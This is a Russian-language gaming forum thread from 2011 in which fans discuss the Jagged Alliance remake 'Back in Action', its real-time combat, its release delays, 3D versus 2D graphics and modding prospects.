Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 01.07.2011 в 05:48:59
2Sot: А что ещё нужно от игры? Альфа Антитеррор, Бригада - там пытались поддать реализму, в результате когда перестрелки происходят на расстоянии играть становится очень неудобно.
Даже большие карты в Джа, когда я начинал их делать, я считал что всё будет круто. Оказалось, что когда от края до края карты нужно пешком пилить 3 минуты с перерывами на перекур - это не айс.

2Head_Crusher: Спасибо. Ты так тоже можешь.
Качаешь FaceGen Modeller (http://facegen.com)
И скармливаешь ему через функцию PhotoFit портреты любых джайцев.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 01.07.2011 в 05:55:40

on 1309488539, bugmonster wrote:
И скармливаешь ему через функцию PhotoFit портреты любых джайцев.  
- да и не только джайцев. ;)


on 1309488539, bugmonster wrote:
Оказалось, что когда от края до края карты нужно пешком пилить 3 минуты с перерывами на перекур - это не айс.  
- согласен. иногда даже стандартные джайковские карты кажутся очень большими.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 01.07.2011 в 06:36:01

Quote:
Надо их заволосатить. Немедленно!!! ;D

Яволь, хер майор!
http://ja2.su/sclad/bugmonster/imgb1.jpghttp://ja2.su/sclad/bugmonster/imgi1.jpg
Ну и наконец, Тень услышал что завтра будет штурм университета в Камбрии и сделал камуфляж.
[offtop]http://ja2.su/sclad/bugmonster/imgs1.jpg[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Amdus на 01.07.2011 в 08:05:51
А когда появятся моды на JA: Reloaded. В каком разделе форума о них можно будет узнать?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 01.07.2011 в 08:25:46

on 1309496751, Amdus wrote:
А когда появятся моды на JA: Reloaded. В каком разделе форума о них можно будет узнать?  

*Икает* тут бы игру увидеть, если выйдет хоть что то адекватное - будет создан отдельный раздел.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 01.07.2011 в 10:27:58
JA: Reloaded - это было условное название, оффициальный тайтл: JA Back in Action, сокращённо JABA.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 01.07.2011 в 18:17:04

on 1309496751, Amdus wrote:
А когда появятся моды на JA: Reloaded.
- в две тысячи триста сорок втором году.


on 1309491361, bugmonster wrote:
Яволь, хер майор!  
- признавайся в фейс моделлере причёски делал? Али фотошопище?


on 1309505278, bugmonster wrote:
JABA
- Hut!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 01.07.2011 в 18:52:59
2Green Eyes: Всё фейсмоделлеровское стандартное, натурально в 3D. Блад - текстура short black hair. Айра - Model Part: Short Black Hair, Тень - Model Part: Middle Hair, Glasses.
При этом всё можно в макс или в блендер какой-нибудь экспортировать и там дальше править.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 01.07.2011 в 19:21:22

on 1309535579, bugmonster wrote:
Всё фейсмоделлеровское стандартное
- у меня нет причесок в фейсмоделлере? Как их включить - это бы решило бы проблему с отфотошопиванием хаеров.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 01.07.2011 в 20:04:35
2Green Eyes: Не решит. Всё что там есть - ты видишь на скринах. Если считать лысину причёской - то всего их четыре. И одни очки. Всё это считается отдельными компонентами, так что новые всё равно либо в 3D самому делать, либо фотошопить.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 01.07.2011 в 20:06:15

on 1309539875, bugmonster wrote:
Не решит. Всё что там есть - ты видишь на скринах. Если считать лысину причёской - то всего их четыре. И одни очки.  
- дам-с, точно не решит. Облом-с.
Видел пак причесонов для фейса, но он забобловый. :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ElPadlos на 02.07.2011 в 03:16:29
Может кто писал уже, тогда извиняюсь за повтор : Если кому интересно, можете зайти на офф. сайт разрабов http://www.jaggedalliance.com/en/back_in_action/features-en/ и увидеть там такое: "•Innovative “Plan & Go” combat system combines RTS gameplay with turn-based elements" - что в переводе означает, мол игра будет с новой системой боев в РЕАЛЬНОМ времени, т.е. о пошаговом режиме все могут забыть. Если кого-то не устраивает такой расклад, то подпишитесь под онлайн петицией от игроков в адрес разрабов о ненужности сего нововведения (займет меньше 1й минуты времени)... Петиция тут: http://www.petitiononline.com/ja2r/

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 02.07.2011 в 03:46:14

on 1309565789, ElPadlos wrote:
Петиция тут
- 695 голосов теперь против. Но что толку-то.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ElPadlos на 02.07.2011 в 03:54:34
я был 694-м )) Ну мы хотя бы попытаемся донести до них наши пожелания, а вдруг... Вдруг надумают и сделают опционально выбор между RTS и TBS (как в Фолле Тактикс было). А впртивном случае я это не куплю... на крайняк принципиально с торрента скачаю, ни рубля жадным буржуйским мордам!!!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 02.07.2011 в 04:15:16
2ElPadlos: Кто хотел уже подписались, пролистай эту тему страниц 5-10 назад.

Тогда это было ещё актуально - сейчас уже без шансов. На такой стадии пошаговку уже поздно прикручивать.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 02.07.2011 в 04:59:01
По крайней мере дела у этих разработчиков идут быстрее, чем у наших игроделов шли.
А предзаказ дорогой, стандартная версия 43 евро http://www.amazon.de/Jagged-Alliance-Back-in-Action/dp/B004RKP0RM%3FSubscription

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 02.07.2011 в 05:08:38

on 1309571941, Dredd21 wrote:
А предзаказ дорогой
- что бы побольше срубить бабла. Вот, Дюк к примеру тоже не ахти какой дешевый, а игра оказалась проходняком. :P


on 1309571941, Dredd21 wrote:
По крайней мере дела у этих разработчиков идут быстрее, чем у наших игроделов шли.  
- тоже не показатель. Не зря есть пословица - "если с делом поспешишь - то потом получишь шиш".

---
А вообще развилось сейчас сиквелов, вбоквелов, ремейков и ремиксов. Одних только Калл оф Дути уже то ли восемь то ли девять. Если глянуть на Е3, то там полно игр с цифрами 2 или 3 в названии.
Вот и тут переосмысление (причём полное) оригинального сюжета Джа2. Был бы другой сюжет - я бы не возникал.

ПС: [offtop]вот и выкручивайся тут за орешки, вместо приличных компаний, выдумывая интересные истории и пытаясь их "оживить". [/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ElPadlos на 03.07.2011 в 02:04:26
Да банально буржуb купили "имя"  и делают порожняк, чтоб брать не качеством, а известностью брэнда... Быстро - не бывает хорошо. Серия JA - RIP (((

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 07.07.2011 в 22:44:19
Издателем у нас будет Акелла, релиз намечен тоже на октябрь http://www.ag.ru/games/jagged_alliance_back_in_action
P.S. Ну раз сами сделать не смогли, то хоть выпустят  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Georg на 08.07.2011 в 02:31:08
А прикрутить к ней пошаговый режим самим не будет возможности?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 08.07.2011 в 02:48:21

on 1310081468, Georg wrote:
А прикрутить к ней пошаговый режим самим не будет возможности?  
- узнаем, когда выйдет. Но скорее всего для этого потребуется сильная перелопачивание исходного кода. Который, естественно, будет не для всех.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 10.07.2011 в 02:06:28

on 1310082501, Green Eyes wrote:
Но скорее всего для этого потребуется сильная перелопачивание исходного кода. Который, естественно, будет не для всех.

[offtop]...А только для Богом избранных евреев! ;D [/offtop]
А продолжение разрабы делают? Я имею в виду не римейк, а продолжение, что когда-то пытались делать наши - и сделали "ДЖАЗ"

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 10.07.2011 в 08:01:42
2Head_Crusher: Да, JABA - это типа только "обкатка движка". А дальше будут JA Online (в качестве источника бабоса, ради чего всё и затевалось) и JA3 (непосредственно продолжение).


Quote:
Я имею в виду не римейк, а продолжение, что когда-то пытались делать наши - и сделали "ДЖАЗ"

Нет, они точно также, стали делать JA 3D "для обкатки движка", и планировали потом сделать JA3. Разработку JA3 у них практически сразу отобрали, а потом и тайтл JA отобрали, пришлось переименовывать в ДЖАЗ.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 23.07.2011 в 05:41:42
Jagged Alliance: Back in Action Teaser Trailer  http://www.youtube.com/watch?v=cOOt6MN9zng

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 23.07.2011 в 06:49:50
Римейк стартового видоса. :D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 23.07.2011 в 07:05:45
2bugmonster:
Совершенно непонятно почему не взрывается вертолет.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 23.07.2011 в 07:58:16
2Zed: В ремейке УБ - обязательно будет.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 12.08.2011 в 04:31:39
Перенесли дату выхода на первый квартал 2012-го. Понеслось.. http://www.jaggedalliance.com/en/2011/08/jagged-alliance-back-in-action-postponement-release/

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 12.08.2011 в 18:17:39

on 1313112699, Dredd21 wrote:
Понеслось..  
- думают, что Конец Света их прикроет. Размечтались. ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 13.08.2011 в 19:20:24
После релиза JA3 наступит новая эпоха JAмододелов и новых пакосов на форуме  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 14.08.2011 в 03:48:01

on 1311392990, bugmonster wrote:
Римейк стартового видоса.  
[offtop]Апгрейд :D т-50(извините,если не прав) заменили на т-72.А джипы деградируют .....Хаммер заменили на jeep вроде  :P[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем CopperminE на 16.08.2011 в 04:12:12
ВНЕЗАПНО
Jagged Alliance Online про который до этого момента ни кадра... В качестве особой вкусняшки присутствие оригинального Долвича.
З.Ы. таки пошаговый
http://www.youtube.com/watch?v=yg7wHFYE1NI

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 16.08.2011 в 05:13:48
Таки основной бабосик решили рубить на преданных фанатах  :P

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 16.08.2011 в 05:20:18

on 1313460828, bugmonster wrote:
Таки основной бабосик решили рубить на преданных фанатах
- а вдруг.

Вот Deus Ex III, говорят весьма неплохой. Так что кто знает. Но я заранее не жду.

2Kestrel: Вообще-то в ролике и в игре в оригинале танки - американские М60. Всё-таки канадцы игру делали. ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 16.08.2011 в 11:06:24
Джага онлайн выглядит вполне очень играбельно(исходя из этого ролика).Надеюсь,арсенал будет побольше,чем в нынешних ммофсп.Интересно,как будет происходить наем персов?Навсегда,или на время?Наверное, наймы будут рандомно генритья в "магазине".Не будут же разрабы клонировать старых персов из оригинала.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 16.08.2011 в 17:38:55

on 1313481984, Kestrel wrote:
Не будут же разрабы клонировать старых персов из оригинала.  
- вот только это проще, чем создавать полноценного персонажа из ничего.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 16.08.2011 в 18:18:35

on 1313505535, Green Eyes wrote:
- вот только это проще, чем создавать полноценного персонажа из ничего.
А кто-то обещал  полноценных персонажей?А не проще сделать рандом генератор ,который создает на "рынке наемников" мерков по четырем параметрам:
1)внешность(скин и картинка),голос.
2)Характеристики мерка,скилы,уровень.
3)характер в общих чертах(хотя,его может и не быть совсеи)
4)национальность(для каждой свой набор скинов).
Конечно, рандом должен подчиняться хотьябы небольшой закономерности.
Может быть, все будет гораздо примитивнее,как в пошаговых тактических браузерках(тайм зеро,лава онлайн и тп)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 16.08.2011 в 18:44:24

on 1313507915, Kestrel wrote:
А кто-то обещал  полноценных персонажей?
- [offtop]каждый первый разработчик. Правда получается только у каждого седьмого. ::)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 16.08.2011 в 19:11:04
Тьфу,первый раз невнимательно трейлер посмотрел.Не заметил картинки старых добрых мерков сбоку.Значит,всетаки будет "война клонов".Тогда,надеюсь,геймплей будет завязан на кооперативе,а не пвп битвах(пвп лучше как дополнение к кооперативу,имхо).Интересно,игра будет плэй фор фри,или за саму игру тоже баблосы придется отдавать?Главное,чтоб каждый месяц не платить.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 16.08.2011 в 19:16:58

on 1313511064, Kestrel wrote:
Интересно,игра будет плэй фор фри,или за саму игру тоже баблосы придется отдавать?Главное,чтоб каждый месяц не платить.  
- [offtop]всё зависит от жадности разработчиков. Покамест корейцев в этом плане никто не обошёл. Но в конце концов даже самая демократичная "фри онлайн игра" становится донаторской.[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем CopperminE на 17.08.2011 в 03:59:22
В самом лучшем случае будет донат... И будем "мерковцами" против Гасов Торбалсов. ;D Меня лично это не останавливает - люблю челендж.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Scholez на 21.08.2011 в 04:14:52
Право, совсем не понимаю как будут реализовывать концепцию... да еще пошаговость...
В общем, затаил дыхание, жду = )

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ELF_333 на 02.09.2011 в 22:45:20
Вы мне скажите, наша F3 геймс делала джагу на модернизированном движке от SS, потом немцы получили права. Но наши то что не пошли путём своих предыдущих коллег которые создали Джаз работа по найму. Почему F3 геймс не выпустили свой проект под новым названием? Ведь лучше так чем совсем ничего!

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 02.09.2011 в 23:36:35
2ELF_333:
А денег ты им дашь дабы до играбельного состояния доделать?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 02.09.2011 в 23:41:17
2ELF_333: А ты думаешь эти Рога и Копыта XXI реально что-то cделали? За несколько лет работы - один ролик показывающий нечто на уровне маленького любительского мода к SS.

И вообще, судя по выпущеному Джазу вариант "ничего" выглядит заманчиво.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем jz на 03.09.2011 в 00:13:55

on 1314996077, bugmonster wrote:
А ты думаешь эти Рога и Копыта XXI реально что-то cделали? 
Напомнило известную статью:

Quote:
...С хорошим знанием английского и широко подвешенным языком выбить субсидии для своего проекта, в общем-то, несложно. Как поступают китайские парни? Сначала они в муках рожают минимально работающий продукт, затем показывают его богатым дяденькам и просят денежку. Русский программист... Ого! Это совсем другой тип. Никакого продукта у него нет и в лучшем случае присутствует только проект, а все остальное занимают широко расставленные пальцы и грандиозные планы по сдвигу земной оси в неизвестном науке направлении. За пятизначную сумму в твердой валюте он с сотоварищами готов весь мир перевернуть, ну если не перевернуть, то озолотить. При достаточной напористости (мамой клянусь, да!) запрошенная сумма все-таки выделяется. На эти деньги снимается офис, покупается джип и устраивается грандиозный кутеж с резней в Квейка с вечера до утра. Когда же приходит срок сдачи проекта (ломаете кайф, мужики!) и в офисе появился хмурое лицо инвестора, русский программист демонстрирует дохлый макет и говорит, что для окончательного завершения проекта ему требуется миллион долларов и еще один год времени, но это будет такая крутая программа, которой вообще ни у кого нет (гладит, стирает и даже летает) и которая принесет инвестору миллиардные прибыли (Билл Гейтс и рядом не лежал). Инвестор хмурится еще больше (куда наживаться, вернуть бы свое!), но в трех из пяти случаев деньги все-таки предоставляет (американцы - они такие наивные). Через год, когда инвестор приходит опять (а никаким продуктом в воздухе и не пахнет), русский программист говорит возмущенно: "а что, вы, собственно, хотели за такие деньги? Программные комплексы такого масштаба создаются не с полпинка, а требуют миллиардных вложений!"

Вот почему с русскими программистами никто не хочет сотрудничать и получить деньги можно, только влившись в состав забугорной команды, или создав фиктивную фирму на тихоокеанских островах (шутка, конечно, но доля истины в ней все-таки есть). Еще вам потребуется хотя бы минимально работающий продукт. А где его взять? Создавать в одиночку - проблематично. Работать с командной - рискованно. Где гарантия, что один из членов команды не упрет исходные тексты и не сольет их на сторону? Или когда программа вот-вот заработает, лидер группы не пошлет всех спецов к чертовой матери, наймет десяток-другой бестолковых студентов и не поручит им финальный "косметический ремонт"? И с тем, и с другим автору этой статьи приходилось сталкивался неоднократно....
(c)Крис Касперски ака мыщъх, http://www.insidepro.com/kk/292/292r.shtml

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 03.09.2011 в 00:52:07
2jz: Там у них был другой, тоже свойственный отечественному программисту финт ушами. Имея на момент начала работы готовый, отлаженный за несколько лет и проектов, движок с инструментарием, они сели его переписывать.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ELF_333 на 03.09.2011 в 10:58:26
Суть не в том что сделали или не сделали рога и копыта. А в том что была хорошая команда компания нивал которая создала на мой взгляд шедевр в виде Silent Storm. И деньги у них нашлись и время и талант, так вот не понятно почему нет наследника готового развить эту тему до масштабов как Джага. И не отсутствие денег тому виной, а что то другое.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 04.09.2011 в 02:37:31

on 1315036706, ELF_333 wrote:
И не отсутствие денег тому виной, а что то другое.  
- отсутствие навара тому причина. Как некоторые люди сейчас не поймут, что мы живём в капиталистическом мире. Все альтернативные проекты или проекты для определенного круга лиц (джа к примеру) ведут к абсолютному банкротству (примеров over 9000).
Не несут прибыли такие проекты. Вон новый Deus Ex и Duke Forever не так уж и хорошо расходятся. К слову, в журнале "Игромания" ведётся учёт самых "интересных" игр. Оценки пользователи ставят на сайте журнала. Первую десятку всегда занимают стрелялки или РПГ. Чаще всего с возможностью мультиплеера. Причём чем игровой процесс проще, тем более высокий рейтинг игра получает.

Так что никакой инвестор не будет вкладывать средства в разработку "чего-то непонятного и не интересного". А без внешних инвестиций чаще всего компания-разработчик умудряется выпустить одну игру (иногда гениальную, которая в последствии станет эталоном жанра) и... благополучно умереть.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ELF_333 на 04.09.2011 в 08:43:42
Думаю инвестором должен быть фанат данного жанра. Который просто хочет получить удовольствие от игры,не рассчитывая на прибыль. Может когда нить такой появится.  

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 04.09.2011 в 08:45:55

on 1315115022, ELF_333 wrote:
Может когда нить такой появится.  
- хм. Всё может быть.
Но лично я сомневаюсь. ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 04.09.2011 в 09:15:01
2ELF_333: Ну вот видимо Рога и Копыта F3 games и нашли своего инвестора мечты, который несколько лет платил им зарплату. Чем кончилось - знаешь.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ELF_333 на 05.09.2011 в 02:28:10
Ну по крайней мере немцы делают ремейк второй Джаги и возможно выпустят третью часть. Рискуя обанкротится. Тот факт что заказчик и исполнитель проекта находятся в одной стране - германии, даёт надежду на успех.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 05.09.2011 в 02:51:24

on 1315178890, ELF_333 wrote:
Ну по крайней мере немцы делают ремейк второй Джаги
- без тактики. Так что уже и не совсем ремейк.
В принципе для поддержания культового статуса игра должна быть легко редактироваться. Потому на игры типа Half-Life, Red Alert 2 и Deus Ex продолжают делать моды.
Со второй джагой ещё "круче" - есть исходный код. И человек разбирающийся в нем может изменить игру до неузнаваемости. Если захочет. :)


on 1315178890, ELF_333 wrote:
Тот факт что заказчик и исполнитель проекта находятся в одной стране - германии, даёт надежду на успех.  
- не не знаю. Получится ли у них лучше, чем у канадцев. Будем надеяться. Новый Deus Ex HR вселил в меня надежду, что игры по старым франшизам ещё могут делать хорошо. :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Irishman на 05.09.2011 в 03:15:28
У меня есть 2 веских причины сомневаться  в игре JA3:
1) Игра будет трёхмерной => геморрой с камерой (как в Бригаде Е5).
2) Из-за трёхмерных моделей оружия добавлять и рисовать новые модели я не смогу.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 05.09.2011 в 03:18:57

on 1315181728, Irishman wrote:
1) Игра будет трёхмерной => геморрой с камерой (как в Бригаде Е5).  
- зато трехмерный движок проще редактировать.


on 1315181728, Irishman wrote:
Из-за трёхмерных моделей оружия добавлять и рисовать новые модели я не смогу.  
- в инвентаре пушки как были 2дешные, так и останутся. А модели "рисовать" не сложно. Тем более, что чаще всего с нуля это не нужно будет. Плюс на триде моделях можно менять текстуры (тем самым добавлять новых персонажей и объекты без моделирования и часов отрисовки по кадрам).

Я раньше тоже считал, что зд моделирование - что-то ужасно сложное, но оказалось, что не так. И начал я сразу с макса, а ведь существует большое количество простых редакторов.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Irishman на 05.09.2011 в 03:28:23
2Green Eyes: Редактировать? Это, например, карты рисовать?
Текстуры это конечно хорошо... Но всё равно, по моему, трёхмерность испортит атмосферу. Может, это покажется глупым, но я так думаю.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 05.09.2011 в 03:40:16

on 1315182503, Irishman wrote:
Редактировать? Это, например, карты рисовать?  
- и не только. Часто не обязательно делать модели с нуля (это действительно долго). Можно найти подходящую модель и отредактировать как тебе того хочется. Я именно так делаю. Хотя с нуля мелочь всякую тоже делал, но не крупняк.


on 1315182503, Irishman wrote:
Но всё равно, по моему, трёхмерность испортит атмосферу. Может, это покажется глупым, но я так думаю.  
- твой утверждение было бы правдой года три-четыре назад. Но сейчас при грамотных моделлерах и кодерах движок можно оптимизировать так, что бы трехмерная картинка смотрелась бы красиво даже без огромного количества полигонов. :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Irishman на 05.09.2011 в 03:55:13

on 1315183216, Green Eyes wrote:
Можно найти подходящую модель и отредактировать как тебе того хочется.
В этом что-то есть... Вспомнился мод Сталкер, вот где бы это пригодилось.
Дело в том, что в своих суждениях я опираюсь на игру ДЖАЗ: работа по найму. Там очень яркая картинка ( это мне нравится), но карты какие-то незапоминающиеся. И целое море багов в придачу.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 05.09.2011 в 03:59:53

on 1315184113, Irishman wrote:
но карты какие-то незапоминающиеся. И целое море багов в придачу.  
- баги исправить практически все можно. А вот с картами проблема. Их не отредактируешь - нет нужных плагинов для макса. :P
И неё можно было бы что-то путное сделать, но всё упирается в мелочи. У Мистов все игры такие. Какие-то дурацкие на первый взгляд мелочи портят всю игру. :(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Irishman на 05.09.2011 в 06:20:55
2Green Eyes: Просто нельзя кому попало доверять такие великие игры. В Джа всё должно быть проработано до мелочей и чтобы давалась свобода действий для моддеров.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 05.09.2011 в 07:08:41
2Irishman: Надо понимать в Джа2 всё было проработано до мелочей? :o

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Irishman на 05.09.2011 в 07:16:09
2bugmonster: Нет, но присутствует огромный простор для творчества мододелов! Они сами и проработали всё до мелочей  ;).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ELF_333 на 05.09.2011 в 09:45:39
Немцы перенесли релиз Джаги 2, возможно ли из-за того что бы добавить пошаговый режим боя как в классике!? И по поводу 3д, ваши суждения относятся к вашим личным пристрастиям, то бишь редактирование, создание новых моделей, удобно ли это в 3д или нет. Но если посмотреть на 3д с точки зрения прогресса, то без 3д уже нельзя. Мелкие детали такие как ветер раскачивающий деревья или траву, тени от горящих фонарей или солнца, дождь и многое другое. Всё это делает игру только интересней, по крайне мере на мой скромный взгляд. Порой играя в старую джагу после SS я по привычке пытался развернуть угол обзора камеры как нить поудобнее, а потом вспоминал что тут 2д и здание с другой стороны не посмотришь.  

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 05.09.2011 в 09:52:13

on 1315205139, ELF_333 wrote:
Мелкие детали такие как ветер раскачивающий деревья или траву, тени от горящих фонарей или солнца, дождь и многое другое.
- [offtop]ну, скажем так, когда ТриДе графика только появлялась всё это можно было встретить в 2Д играх. :)[/offtop]


on 1315205139, ELF_333 wrote:
Немцы перенесли релиз Джаги 2, возможно ли из-за того что бы добавить пошаговый режим боя как в классике!?
- они вроде ничего такого не писали, так что вряд ли.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 05.09.2011 в 09:54:56

on 1315205139, ELF_333 wrote:
Немцы перенесли релиз Джаги 2
Кажется, она вышла ещё в прошлом веке.  ::)

on 1315205139, ELF_333 wrote:
Мелкие детали такие как ветер раскачивающий деревья или траву, тени от горящих фонарей или солнца, дождь и многое другое.
А зачем это? От таких мелочей только в глазах рябит. Например я очень не люблю играть в HMM V, ДЖАЗ, Total War и т.д. Интересно, что это всё игры с 3D графикой, а я всегда любил 2D: HMMIII, HMM IV (это меньше), CIV II, Age of Empires, Казаки. Про ДЖа 2 я и не говорю.
Возможно два объяснения:
1. В 3D графике слишком много мелочей.
2. В играх с 3D графикой недоделано всё остальное.
Всё это приводит к тому, что я, скорее всего, буду продолжать играть в ДЖа 2 и моды, даже если немцы выпустят ДЖа4 с графикой 4D.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ELF_333 на 05.09.2011 в 09:58:42
Так чего вы ждёте от Джаги 3? Вернее хотите от неё? Что бы она была в 2д с новым сюжетом?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MAn на 05.09.2011 в 10:02:24
что тут неясного...  все хотят, чтоб она была 2Д, с новым сюжетом и чтоб заруливала прежнюю джагу и все моды, которые понаделали.

А!  И дух что был...   ДУХ ВЕЛИКОЙ ДЖА  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ELF_333 на 05.09.2011 в 10:05:41
Выходит любой мод можно было бы обозвать 3 частью и все были бы довольны.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 05.09.2011 в 10:07:04
2MAn: Именно!!! Новые виды оружия (например полноценный огнемёт), новые виды техники, нормальные двухэтажные дома, переходы между уровнями гор в секторе, больше NPC, авиация, железная дорога (с паровозиком), разветвление сюжета, и т.д.
И чтоб ковыряться было легко и привычно, а то сделают новые форматы для всего.  :(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 05.09.2011 в 10:07:59
2ELF_333: Никто из нас не смог воплотить в мод все задумки. Вот если собрать фичи со всех модов и добавить ещё вдвое больше, тогда да.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MAn на 05.09.2011 в 10:09:13
Обозвать-то можно, да никто не поверит...

Нужно ещё и доказать, типа что это легитимно  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ELF_333 на 05.09.2011 в 10:12:55
Lion Вот наконец то  что то конкретное. По поводу авиации как это должно выглядеть в 2д? Я даже не представляю.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 05.09.2011 в 10:18:18
2ELF_333: Она может летать между секторами, как в В2В, только не мгновенно, высаживать парашютистов, как в НО, и отряды с легкой бронетехникой, тогда на карте сектора будет появляться десантный планер, а ещё похожие кораблики, плавающие по секторам и между ними, с людишками на борту, которые видны в тактике: маленькое морское сражение:перестрелка между катерами, а потом абордаж.

on 1315206775, ELF_333 wrote:
как это должно выглядеть в 2д
В виде тени например, или Вы в Омерту так ни разу и не высадились?  ;) Вертолёты с обеих сторон. Я могу много придумать.  :D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 05.09.2011 в 10:18:43
Немцы перенесли релиз ЖАБЫ просто потому что у них изначально были нереальные сроки обозначены. Ну и да, возможно они за это время добавят туда загадочный баварский луково-сосисочный дух первой немецкой пиратской джадваги (вылеты после взрывов, вырезанная озвучка, половина на немецком и т.д.  ;D ).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MAn на 05.09.2011 в 10:22:58

on 1315207123, bugmonster wrote:
загадочный баварский луково-сосисочный дух первой немецкой  

"...Мефистофель был родом немец и любил картофель"

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ELF_333 на 05.09.2011 в 10:33:00
В общем вывод один! Еслы ВЫ, хотите Джагу 3 в 2д графе, то вам нужно создавать свой собственный кружок игроделов. Без всяких отмаз. Потому как 3-я часть и последующие будут определённо не в формате прошлого века.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 05.09.2011 в 10:35:44

on 1315207980, ELF_333 wrote:
Еслы ВЫ, хотите Джагу 3 в 2д графе, то вам нужно создавать свой собственный кружок игроделов.
А он собственно тут уже есть, или Вы не заметили? Вот мы в силу своих сил и возможностей и клепаем.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ELF_333 на 05.09.2011 в 10:38:34
Как было написано выше, всё что на данный момент создано до полноценной альтернативы Джаге 3 не дотягивает.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 05.09.2011 в 10:39:37
2ELF_333: Дадите денежек (много... очень много) и дотянем, наверно.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем ELF_333 на 05.09.2011 в 10:43:50
Сколько?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 05.09.2011 в 10:47:31

on 1315208630, ELF_333 wrote:
Сколько?  
- [offtop]Вам честно ответить, или красиво соврать? ;)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
